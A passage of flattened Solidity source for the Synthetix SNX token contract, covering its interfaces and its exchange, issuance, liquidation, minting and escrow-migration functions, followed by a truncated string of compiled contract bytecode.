currencyKey) external view returns (bool); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey) external view returns (uint); function totalIssuedSynthsExcludeOtherCollateral(bytes32 currencyKey) external view returns (uint); function transferableSynthetix(address account) external view returns (uint transferable); // Mutative Functions function burnSynths(uint amount) external; function burnSynthsOnBehalf(address burnForAddress, uint amount) external; function burnSynthsToTarget() external; function burnSynthsToTargetOnBehalf(address burnForAddress) external; function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address rewardAddress, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithTrackingForInitiator( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address rewardAddress, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address rewardAddress, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function exchangeAtomically( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived); function issueMaxSynths() external; function issueMaxSynthsOnBehalf(address issueForAddress) external; function issueSynths(uint amount) external; function issueSynthsOnBehalf(address issueForAddress, uint amount) external; function mint() external returns (bool); function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); // Liquidations function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool); // Restricted Functions function mintSecondary(address account, uint amount) external; function mintSecondaryRewards(uint amount) external; function burnSecondary(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/isystemstatus interface ISystemStatus { struct Status { bool canSuspend; bool canResume; } struct Suspension { bool suspended; // reason is an integer code, // 0 => no reason, 1 => upgrading, 2+ => defined by system usage uint248 reason; } // Views function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume); function requireSystemActive() external view; function requireIssuanceActive() external view; function requireExchangeActive() external view; function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function requireSynthActive(bytes32 currencyKey) external view; function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function systemSuspension() external view returns (bool suspended, uint248 reason); function issuanceSuspension() external view returns (bool suspended, uint248 reason); function exchangeSuspension() external view returns (bool suspended, uint248 reason); function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function getSynthExchangeSuspensions(bytes32[] calldata synths) external view returns (bool[] memory exchangeSuspensions, uint256[] memory reasons); function getSynthSuspensions(bytes32[] calldata synths) external view returns (bool[] memory suspensions, uint256[] memory reasons); // Restricted functions function suspendSynth(bytes32 currencyKey, uint256 reason) external; function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external; } // https://docs.synthetix.io/contracts/source/interfaces/iexchanger interface IExchanger { struct ExchangeEntrySettlement { bytes32 src; uint amount; bytes32 dest; uint reclaim; uint rebate; uint srcRoundIdAtPeriodEnd; uint destRoundIdAtPeriodEnd; uint timestamp; } struct ExchangeEntry { uint sourceRate; uint destinationRate; uint destinationAmount; uint exchangeFeeRate; uint exchangeDynamicFeeRate; uint roundIdForSrc; uint roundIdForDest; } // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint); function dynamicFeeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint feeRate, bool tooVolatile); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bool virtualSynth, address rewardAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function exchangeAtomically( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function resetLastExchangeRate(bytes32[] calldata currencyKeys) external; function suspendSynthWithInvalidRate(bytes32 currencyKey) external; } // https://docs.synthetix.io/contracts/source/interfaces/irewardsdistribution interface IRewardsDistribution { // Structs struct DistributionData { address destination; uint amount; } // Views function authority() external view returns (address); function distributions(uint index) external view returns (address destination, uint amount); // DistributionData function distributionsLength() external view returns (uint); // Mutative Functions function distributeRewards(uint amount) external returns (bool); } // Inheritance // Internal references contract BaseSynthetix is IERC20, ExternStateToken, MixinResolver, ISynthetix { // ========== STATE VARIABLES ========== // Available Synths which can be used with the system string public constant TOKEN_NAME = "Synthetix Network Token"; string public constant TOKEN_SYMBOL = "SNX"; uint8 public constant DECIMALS = 18; bytes32 public constant sUSD = "sUSD"; // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus"; bytes32 private constant CONTRACT_EXCHANGER = "Exchanger"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_REWARDSDISTRIBUTION = "RewardsDistribution"; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) MixinResolver(_resolver) {} // ========== VIEWS ========== // Note: use public visibility so that it can be invoked in a subclass function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { addresses = new bytes32[](4); addresses[0] = CONTRACT_SYSTEMSTATUS; addresses[1] = CONTRACT_EXCHANGER; addresses[2] = CONTRACT_ISSUER; addresses[3] = CONTRACT_REWARDSDISTRIBUTION; } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function exchanger() internal view returns (IExchanger) { return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function rewardsDistribution() internal view returns (IRewardsDistribution) { return IRewardsDistribution(requireAndGetAddress(CONTRACT_REWARDSDISTRIBUTION)); } function debtBalanceOf(address account, bytes32 currencyKey) external view returns (uint) { return issuer().debtBalanceOf(account, currencyKey); } function totalIssuedSynths(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedSynths(currencyKey, false); } function totalIssuedSynthsExcludeOtherCollateral(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedSynths(currencyKey, true); } function availableCurrencyKeys() external view returns (bytes32[] memory) { return issuer().availableCurrencyKeys(); } function availableSynthCount() external view returns (uint) { return issuer().availableSynthCount(); } function availableSynths(uint index) external view returns (ISynth) { return issuer().availableSynths(index); } function synths(bytes32 currencyKey) external view returns (ISynth) { return issuer().synths(currencyKey); } function synthsByAddress(address synthAddress) external view returns (bytes32) { return issuer().synthsByAddress(synthAddress); } function isWaitingPeriod(bytes32 currencyKey) external view returns (bool) { return exchanger().maxSecsLeftInWaitingPeriod(messageSender, currencyKey) > 0; } function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid) { return issuer().anySynthOrSNXRateIsInvalid(); } function maxIssuableSynths(address account) external view returns (uint maxIssuable) { return issuer().maxIssuableSynths(account); } function remainingIssuableSynths(address account) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ) { return issuer().remainingIssuableSynths(account); } function collateralisationRatio(address _issuer) external view returns (uint) { return issuer().collateralisationRatio(_issuer); } function collateral(address account) external view returns (uint) { return issuer().collateral(account); } function transferableSynthetix(address account) external view returns (uint transferable) { (transferable, ) = issuer().transferableSynthetixAndAnyRateIsInvalid(account, tokenState.balanceOf(account)); } function _canTransfer(address account, uint value) internal view returns (bool) { if (issuer().debtBalanceOf(account, sUSD) > 0) { (uint transferable, bool anyRateIsInvalid) = issuer().transferableSynthetixAndAnyRateIsInvalid(account, tokenState.balanceOf(account)); require(value <= transferable, "Cannot transfer staked or escrowed SNX"); require(!anyRateIsInvalid, "A synth or SNX rate is invalid"); } return true; } // ========== MUTATIVE FUNCTIONS ========== function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { (amountReceived, ) = exchanger().exchange( messageSender, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, false, messageSender, bytes32(0) ); } function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { (amountReceived, ) = exchanger().exchange( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, exchangeForAddress, false, exchangeForAddress, bytes32(0) ); } function settle(bytes32 currencyKey) external optionalProxy returns ( uint reclaimed, uint refunded, uint numEntriesSettled ) { return exchanger().settle(messageSender, currencyKey); } function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address rewardAddress, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { (amountReceived, ) = exchanger().exchange( messageSender, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, false, rewardAddress, trackingCode ); } function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address rewardAddress, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { (amountReceived, ) = exchanger().exchange( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, exchangeForAddress, false, rewardAddress, trackingCode ); } function transfer(address to, uint value) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(messageSender, value); // Perform the transfer: if there is a problem an exception will be thrown in this call. _transferByProxy(messageSender, to, value); return true; } function transferFrom( address from, address to, uint value ) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(from, value); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. return _transferFromByProxy(messageSender, from, to, value); } function issueSynths(uint amount) external issuanceActive optionalProxy { return issuer().issueSynths(messageSender, amount); } function issueSynthsOnBehalf(address issueForAddress, uint amount) external issuanceActive optionalProxy { return issuer().issueSynthsOnBehalf(issueForAddress, messageSender, amount); } function issueMaxSynths() external issuanceActive optionalProxy { return issuer().issueMaxSynths(messageSender); } function issueMaxSynthsOnBehalf(address issueForAddress) external issuanceActive optionalProxy { return issuer().issueMaxSynthsOnBehalf(issueForAddress, messageSender); } function burnSynths(uint amount) external issuanceActive optionalProxy { return issuer().burnSynths(messageSender, amount); } function burnSynthsOnBehalf(address burnForAddress, uint amount) external issuanceActive optionalProxy { return issuer().burnSynthsOnBehalf(burnForAddress, messageSender, amount); } function burnSynthsToTarget() external issuanceActive optionalProxy { return issuer().burnSynthsToTarget(messageSender); } function burnSynthsToTargetOnBehalf(address burnForAddress) external issuanceActive optionalProxy { return issuer().burnSynthsToTargetOnBehalf(burnForAddress, messageSender); } function liquidateDelinquentAccount(address account, uint susdAmount) external systemActive optionalProxy returns (bool) { (uint totalRedeemed, uint amountLiquidated) = issuer().liquidateDelinquentAccount(account, susdAmount, messageSender); emitAccountLiquidated(account, totalRedeemed, amountLiquidated, messageSender); // Transfer SNX redeemed to messageSender // Reverts if amount to redeem is more than balanceOf account, ie due to escrowed balance return _transferByProxy(account, messageSender, totalRedeemed); } function exchangeWithTrackingForInitiator( bytes32, uint, bytes32, address, bytes32 ) external returns (uint) { _notImplemented(); } function exchangeWithVirtual( bytes32, uint, bytes32, bytes32 ) external returns (uint, IVirtualSynth) { _notImplemented(); } function exchangeAtomically( bytes32, uint, bytes32, bytes32 ) external returns (uint) { _notImplemented(); } function mint() external returns (bool) { _notImplemented(); } function mintSecondary(address, uint) external { _notImplemented(); } function mintSecondaryRewards(uint) external { _notImplemented(); } function burnSecondary(address, uint) external { _notImplemented(); } function _notImplemented() internal pure { revert("Cannot be run on this layer"); } // ========== MODIFIERS ========== modifier systemActive() { _systemActive(); _; } function _systemActive() private { systemStatus().requireSystemActive(); } modifier issuanceActive() { _issuanceActive(); _; } function _issuanceActive() private { systemStatus().requireIssuanceActive(); } modifier exchangeActive(bytes32 src, bytes32 dest) { _exchangeActive(src, dest); _; } function _exchangeActive(bytes32 src, bytes32 dest) private { systemStatus().requireExchangeBetweenSynthsAllowed(src, dest); } modifier onlyExchanger() { _onlyExchanger(); _; } function _onlyExchanger() private { require(msg.sender == address(exchanger()), "Only Exchanger can invoke this"); } // ========== EVENTS ========== event AccountLiquidated(address indexed account, uint snxRedeemed, uint amountLiquidated, address liquidator); bytes32 internal constant ACCOUNTLIQUIDATED_SIG = keccak256("AccountLiquidated(address,uint256,uint256,address)"); function emitAccountLiquidated( address account, uint256 snxRedeemed, uint256 amountLiquidated, address liquidator ) internal { proxy._emit( abi.encode(snxRedeemed, amountLiquidated, liquidator), 2, ACCOUNTLIQUIDATED_SIG, addressToBytes32(account), 0, 0 ); } event SynthExchange( address indexed account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ); bytes32 internal constant SYNTH_EXCHANGE_SIG = keccak256("SynthExchange(address,bytes32,uint256,bytes32,uint256,address)"); function emitSynthExchange( address account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ) external onlyExchanger { proxy._emit( abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTH_EXCHANGE_SIG, addressToBytes32(account), 0, 0 ); } event ExchangeTracking(bytes32 indexed trackingCode, bytes32 toCurrencyKey, uint256 toAmount, uint256 fee); bytes32 internal constant EXCHANGE_TRACKING_SIG = keccak256("ExchangeTracking(bytes32,bytes32,uint256,uint256)"); function emitExchangeTracking( bytes32 trackingCode, bytes32 toCurrencyKey, uint256 toAmount, uint256 fee ) external onlyExchanger { proxy._emit(abi.encode(toCurrencyKey, toAmount, fee), 2, EXCHANGE_TRACKING_SIG, trackingCode, 0, 0); } event ExchangeReclaim(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGERECLAIM_SIG = keccak256("ExchangeReclaim(address,bytes32,uint256)"); function emitExchangeReclaim( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGERECLAIM_SIG, addressToBytes32(account), 0, 0); } event ExchangeRebate(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGEREBATE_SIG = keccak256("ExchangeRebate(address,bytes32,uint256)"); function emitExchangeRebate( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGEREBATE_SIG, addressToBytes32(account), 0, 0); } } // https://docs.synthetix.io/contracts/source/interfaces/irewardescrow interface IRewardEscrow { // Views function balanceOf(address account) external view returns (uint); function numVestingEntries(address account) external view returns (uint); function totalEscrowedAccountBalance(address account) external view returns (uint); function totalVestedAccountBalance(address account) external view returns (uint); function getVestingScheduleEntry(address account, uint index) external view returns (uint[2] memory); function getNextVestingIndex(address account) external view returns (uint); // Mutative functions function appendVestingEntry(address account, uint quantity) external; function vest() external; } pragma experimental ABIEncoderV2; library VestingEntries { struct VestingEntry { uint64 endTime; uint256 escrowAmount; } struct VestingEntryWithID { uint64 endTime; uint256 escrowAmount; uint256 entryID; } } interface IRewardEscrowV2 { // Views function balanceOf(address account) external view returns (uint); function numVestingEntries(address account) external view returns (uint); function totalEscrowedAccountBalance(address account) external view returns (uint); function totalVestedAccountBalance(address account) external view returns (uint); function getVestingQuantity(address account, uint256[] calldata entryIDs) external view returns (uint); function getVestingSchedules( address account, uint256 index, uint256 pageSize ) external view returns (VestingEntries.VestingEntryWithID[] memory); function getAccountVestingEntryIDs( address account, uint256 index, uint256 pageSize ) external view returns (uint256[] memory); function getVestingEntryClaimable(address account, uint256 entryID) external view returns (uint); function getVestingEntry(address account, uint256 entryID) external view returns (uint64, uint256); // Mutative functions function vest(uint256[] calldata entryIDs) external; function createEscrowEntry( address beneficiary, uint256 deposit, uint256 duration ) external; function appendVestingEntry( address account, uint256 quantity, uint256 duration ) external; function migrateVestingSchedule(address _addressToMigrate) external; function migrateAccountEscrowBalances( address[] calldata accounts, uint256[] calldata escrowBalances, uint256[] calldata vestedBalances ) external; // Account Merging function startMergingWindow() external; function mergeAccount(address accountToMerge, uint256[] calldata entryIDs) external; function nominateAccountToMerge(address account) external; function accountMergingIsOpen() external view returns (bool); // L2 Migration function importVestingEntries( address account, uint256 escrowedAmount, VestingEntries.VestingEntry[] calldata vestingEntries ) external; // Return amount of SNX transfered to SynthetixBridgeToOptimism deposit contract function burnForMigration(address account, uint256[] calldata entryIDs) external returns (uint256 escrowedAccountBalance, VestingEntries.VestingEntry[] memory vestingEntries); } // https://docs.synthetix.io/contracts/source/interfaces/isupplyschedule interface ISupplySchedule { // Views function mintableSupply() external view returns (uint); function isMintable() external view returns (bool); function minterReward() external view returns (uint); // Mutative functions function recordMintEvent(uint supplyMinted) external returns (bool); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/synthetix contract Synthetix is BaseSynthetix { bytes32 public constant CONTRACT_NAME = "Synthetix"; // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_REWARD_ESCROW = "RewardEscrow"; bytes32 private constant CONTRACT_REWARDESCROW_V2 = "RewardEscrowV2"; bytes32 private constant CONTRACT_SUPPLYSCHEDULE = "SupplySchedule"; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public BaseSynthetix(_proxy, _tokenState, _owner, _totalSupply, _resolver) {} function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { bytes32[] memory existingAddresses = BaseSynthetix.resolverAddressesRequired(); bytes32[] memory newAddresses = new bytes32[](3); newAddresses[0] = CONTRACT_REWARD_ESCROW; newAddresses[1] = CONTRACT_REWARDESCROW_V2; newAddresses[2] = CONTRACT_SUPPLYSCHEDULE; return combineArrays(existingAddresses, newAddresses); } // ========== VIEWS ========== function rewardEscrow() internal view returns (IRewardEscrow) { return IRewardEscrow(requireAndGetAddress(CONTRACT_REWARD_ESCROW)); } function rewardEscrowV2() internal view returns (IRewardEscrowV2) { return IRewardEscrowV2(requireAndGetAddress(CONTRACT_REWARDESCROW_V2)); } function supplySchedule() internal view returns (ISupplySchedule) { return ISupplySchedule(requireAndGetAddress(CONTRACT_SUPPLYSCHEDULE)); } // ========== OVERRIDDEN FUNCTIONS ========== function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived, IVirtualSynth vSynth) { return exchanger().exchange( messageSender, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, true, messageSender, trackingCode ); } // SIP-140 The initiating user of this exchange will receive the proceeds of the exchange // Note: this function may have unintended consequences if not understood correctly. Please // read SIP-140 for more information on the use-case function exchangeWithTrackingForInitiator( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address rewardAddress, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { (amountReceived, ) = exchanger().exchange( messageSender, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, // solhint-disable avoid-tx-origin tx.origin, false, rewardAddress, trackingCode ); } function exchangeAtomically( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { return exchanger().exchangeAtomically( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, trackingCode ); } function settle(bytes32 currencyKey) external optionalProxy returns ( uint reclaimed, uint refunded, uint numEntriesSettled ) { return exchanger().settle(messageSender, currencyKey); } function mint() external issuanceActive returns (bool) { require(address(rewardsDistribution()) != address(0), "RewardsDistribution not set"); ISupplySchedule _supplySchedule = supplySchedule(); IRewardsDistribution _rewardsDistribution = rewardsDistribution(); uint supplyToMint = _supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); // record minting event before mutation to token supply _supplySchedule.recordMintEvent(supplyToMint); // Set minted SNX balance to RewardEscrow's balance // Minus the minterReward and set balance of minter to add reward uint minterReward = _supplySchedule.minterReward(); // Get the remainder uint amountToDistribute = supplyToMint.sub(minterReward); // Set the token balance to the RewardsDistribution contract tokenState.setBalanceOf( address(_rewardsDistribution), tokenState.balanceOf(address(_rewardsDistribution)).add(amountToDistribute) ); emitTransfer(address(this), address(_rewardsDistribution), amountToDistribute); // Kick off the distribution of rewards _rewardsDistribution.distributeRewards(amountToDistribute); // Assign the minters reward. tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(address(this), msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); return true; } /* Once off function for SIP-60 to migrate SNX balances in the RewardEscrow contract * To the new RewardEscrowV2 contract */ function migrateEscrowBalanceToRewardEscrowV2() external onlyOwner { // Record balanceOf(RewardEscrow) contract uint rewardEscrowBalance = tokenState.balanceOf(address(rewardEscrow())); // transfer all of RewardEscrow's balance to RewardEscrowV2 // _internalTransfer emits the transfer event _internalTransfer(address(rewardEscrow()), address(rewardEscrowV2()), rewardEscrowBalance); } // ========== EVENTS ========== event AtomicSynthExchange( address indexed account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ); bytes32 internal constant ATOMIC_SYNTH_EXCHANGE_SIG = keccak256("AtomicSynthExchange(address,bytes32,uint256,bytes32,uint256,address)"); function emitAtomicSynthExchange( address account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ) external onlyExchanger { proxy._emit( abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, ATOMIC_SYNTH_EXCHANGE_SIG, addressToBytes32(account), 0, 0 ); } }
0x608060405234801561001057600080fd5b50600436106104125760003560e01c806372cb051f11610220578063a9059cbb11610130578063d8a1f76f116100b8578063e8e09b8b11610087578063e8e09b8b14610865578063e90dd9e214610878578063ec55688914610880578063edef719a14610630578063ee52a2f31461088857610412565b8063d8a1f76f14610824578063dbf6334014610837578063dd62ed3e1461083f578063e6203ed11461085257610412565b8063c2bf3880116100ff578063c2bf3880146107d0578063c62e5df8146107e3578063c836fa0a146107f6578063d37c4d8b14610809578063d67bdd251461081c57610412565b8063a9059cbb1461078f578063ace88afd146107a2578063af086c7e146107b5578063bc67f832146107bd57610412565b806391e56b68116101b35780639741fb22116101825780639741fb221461073b578063987757dd146107435780639f76980714610756578063a311c7c214610769578063a5fdc5de1461077c57610412565b806391e56b68146107055780639324cac71461071857806395d89b411461072057806397107d6d1461072857610412565b806383d625d4116101ef57806383d625d4146106cf578063899ffef4146106e25780638a290014146106ea5780638da5cb5b146106fd57610412565b806372cb051f1461069757806374185360146106ac57806379ba5097146106b4578063835e119c146106bc57610412565b80632d3169eb1161032657806353a47bb7116102ae5780636ac0bf9c1161027d5780636ac0bf9c146106435780636b76222f146106565780636c00f3101461065e5780636f01a9861461067157806370a082311461068457610412565b806353a47bb7146106005780635af090ef14610615578063614d08f814610628578063666ed4f11461063057610412565b8063313ce567116102f5578063313ce567146105b7578063320223db146105bf57806332608039146105d25780633e89b9e5146105e55780634e99bda9146105f857610412565b80632d3169eb146105695780632e0f26251461057c5780632f7206ce1461059157806330ead760146105a457610412565b806316b2213f116103a957806323b872dd1161037857806323b872dd14610520578063295da87d146105335780632a905318146105465780632af64bd31461054e5780632c955fa71461055657610412565b806316b2213f146104ea57806318160ddd146104fd57806318821400146105055780631fce304d1461050d57610412565b80630e30963c116103e55780630e30963c1461048a5780631137aedf146104ab5780631249c58b146104cd5780631627540c146104d557610412565b806304f3bcec1461041757806305b3c1c91461043557806306fdde0314610455578063095ea7b31461046a575b600080fd5b61041f61089b565b60405161042c91906144c8565b60405180910390f35b610448610443366004613482565b6108af565b60405161042c9190614327565b61045d61093a565b60405161042c91906144d6565b61047d610478366004613545565b6109c8565b60405161042c9190614319565b61049d610498366004613798565b610a53565b60405161042c9291906145b7565b6104be6104b9366004613482565b610b62565b60405161042c939291906143d8565b61047d610bf7565b6104e86104e3366004613482565b61101f565b005b6104486104f8366004613482565b61107d565b6104486110b2565b61045d6110b8565b61047d61051b36600461375c565b6110f1565b61047d61052e3660046134f8565b611186565b6104e861054136600461375c565b6111c5565b61045d611246565b61047d611265565b6104e8610564366004613482565b611381565b6104e8610577366004613798565b6113cd565b610584611483565b60405161042c91906145e0565b6104e861059f36600461368f565b611488565b6104486105b23660046137db565b61154a565b610584611608565b6104e86105cd366004613482565b611611565b61041f6105e036600461375c565b61165d565b6104486105f336600461375c565b6116e2565b61047d61171a565b610608611799565b60405161042c9190614133565b6104486106233660046137db565b6117a8565b610448611808565b6104e861063e366004613545565b611818565b610448610651366004613482565b611824565b6104e861192c565b6104e861066c36600461368f565b6119d7565b6104e861067f366004613575565b611a2a565b610448610692366004613482565b611ae3565b61069f611b15565b60405161042c9190614308565b6104e8611b93565b6104e8611ce5565b61041f6106ca36600461375c565b611d81565b6104486106dd36600461375c565b611db6565b61069f611dee565b6104e86106f836600461375c565b611eaf565b610608611ef9565b610448610713366004613608565b611f08565b610448611fc8565b61045d611fd3565b6104e8610736366004613482565b61202e565b6104e8612081565b6104be61075136600461375c565b6120ff565b6104e861076436600461386e565b612175565b610448610777366004613482565b6121a1565b61044861078a366004613482565b6121d6565b61047d61079d366004613545565b61220b565b6104e86107b0366004613575565b61224b565b6104e8612298565b6104e86107cb366004613482565b6122e1565b6104e86107de366004613545565b61230b565b6104486107f1366004613798565b61238f565b6104486108043660046135a7565b612445565b610448610817366004613545565b612503565b61060861258a565b6104e861083236600461375c565b612599565b6104486125a1565b61044861084d3660046134be565b61261b565b61047d610860366004613545565b61264f565b6104e8610873366004613545565b612732565b61041f612780565b61041f61278f565b6104486108963660046137ba565b61279e565b60085461010090046001600160a01b031681565b60006108b961285a565b6001600160a01b03166305b3c1c9836040518263ffffffff1660e01b81526004016108e49190614133565b60206040518083038186803b1580156108fc57600080fd5b505afa158015610910573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610934919081019061377a565b92915050565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b505050505081565b60006109d261286e565b60035460048054604051633691826360e21b81526001600160a01b03938416939091169163da46098c91610a0c918591899189910161425b565b600060405180830381600087803b158015610a2657600080fd5b505af1158015610a3a573d6000803e3d6000fd5b50505050610a498185856128ad565b5060019392505050565b6000808584610a62828261292d565b610a6a61286e565b610a7261298e565b6001600160a01b0316634f8633d2600360009054906101000a90046001600160a01b0316600360009054906101000a90046001600160a01b03168b8b8b600360009054906101000a90046001600160a01b03166001600360009054906101000a90046001600160a01b03168e6040518a63ffffffff1660e01b8152600401610b029998979695949392919061420b565b6040805180830381600087803b158015610b1b57600080fd5b505af1158015610b2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610b5391908101906138bc565b93509350505094509492505050565b6000806000610b6f61285a565b6001600160a01b0316631137aedf856040518263ffffffff1660e01b8152600401610b9a9190614133565b60606040518083038186803b158015610bb257600080fd5b505afa158015610bc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bea919081019061391c565b9250925092509193909250565b6000610c016129a5565b6000610c0b6129f9565b6001600160a01b03161415610c3b5760405162461bcd60e51b8152600401610c3290614577565b60405180910390fd5b6000610c45612a1a565b90506000610c516129f9565b90506000826001600160a01b031663cc5c095c6040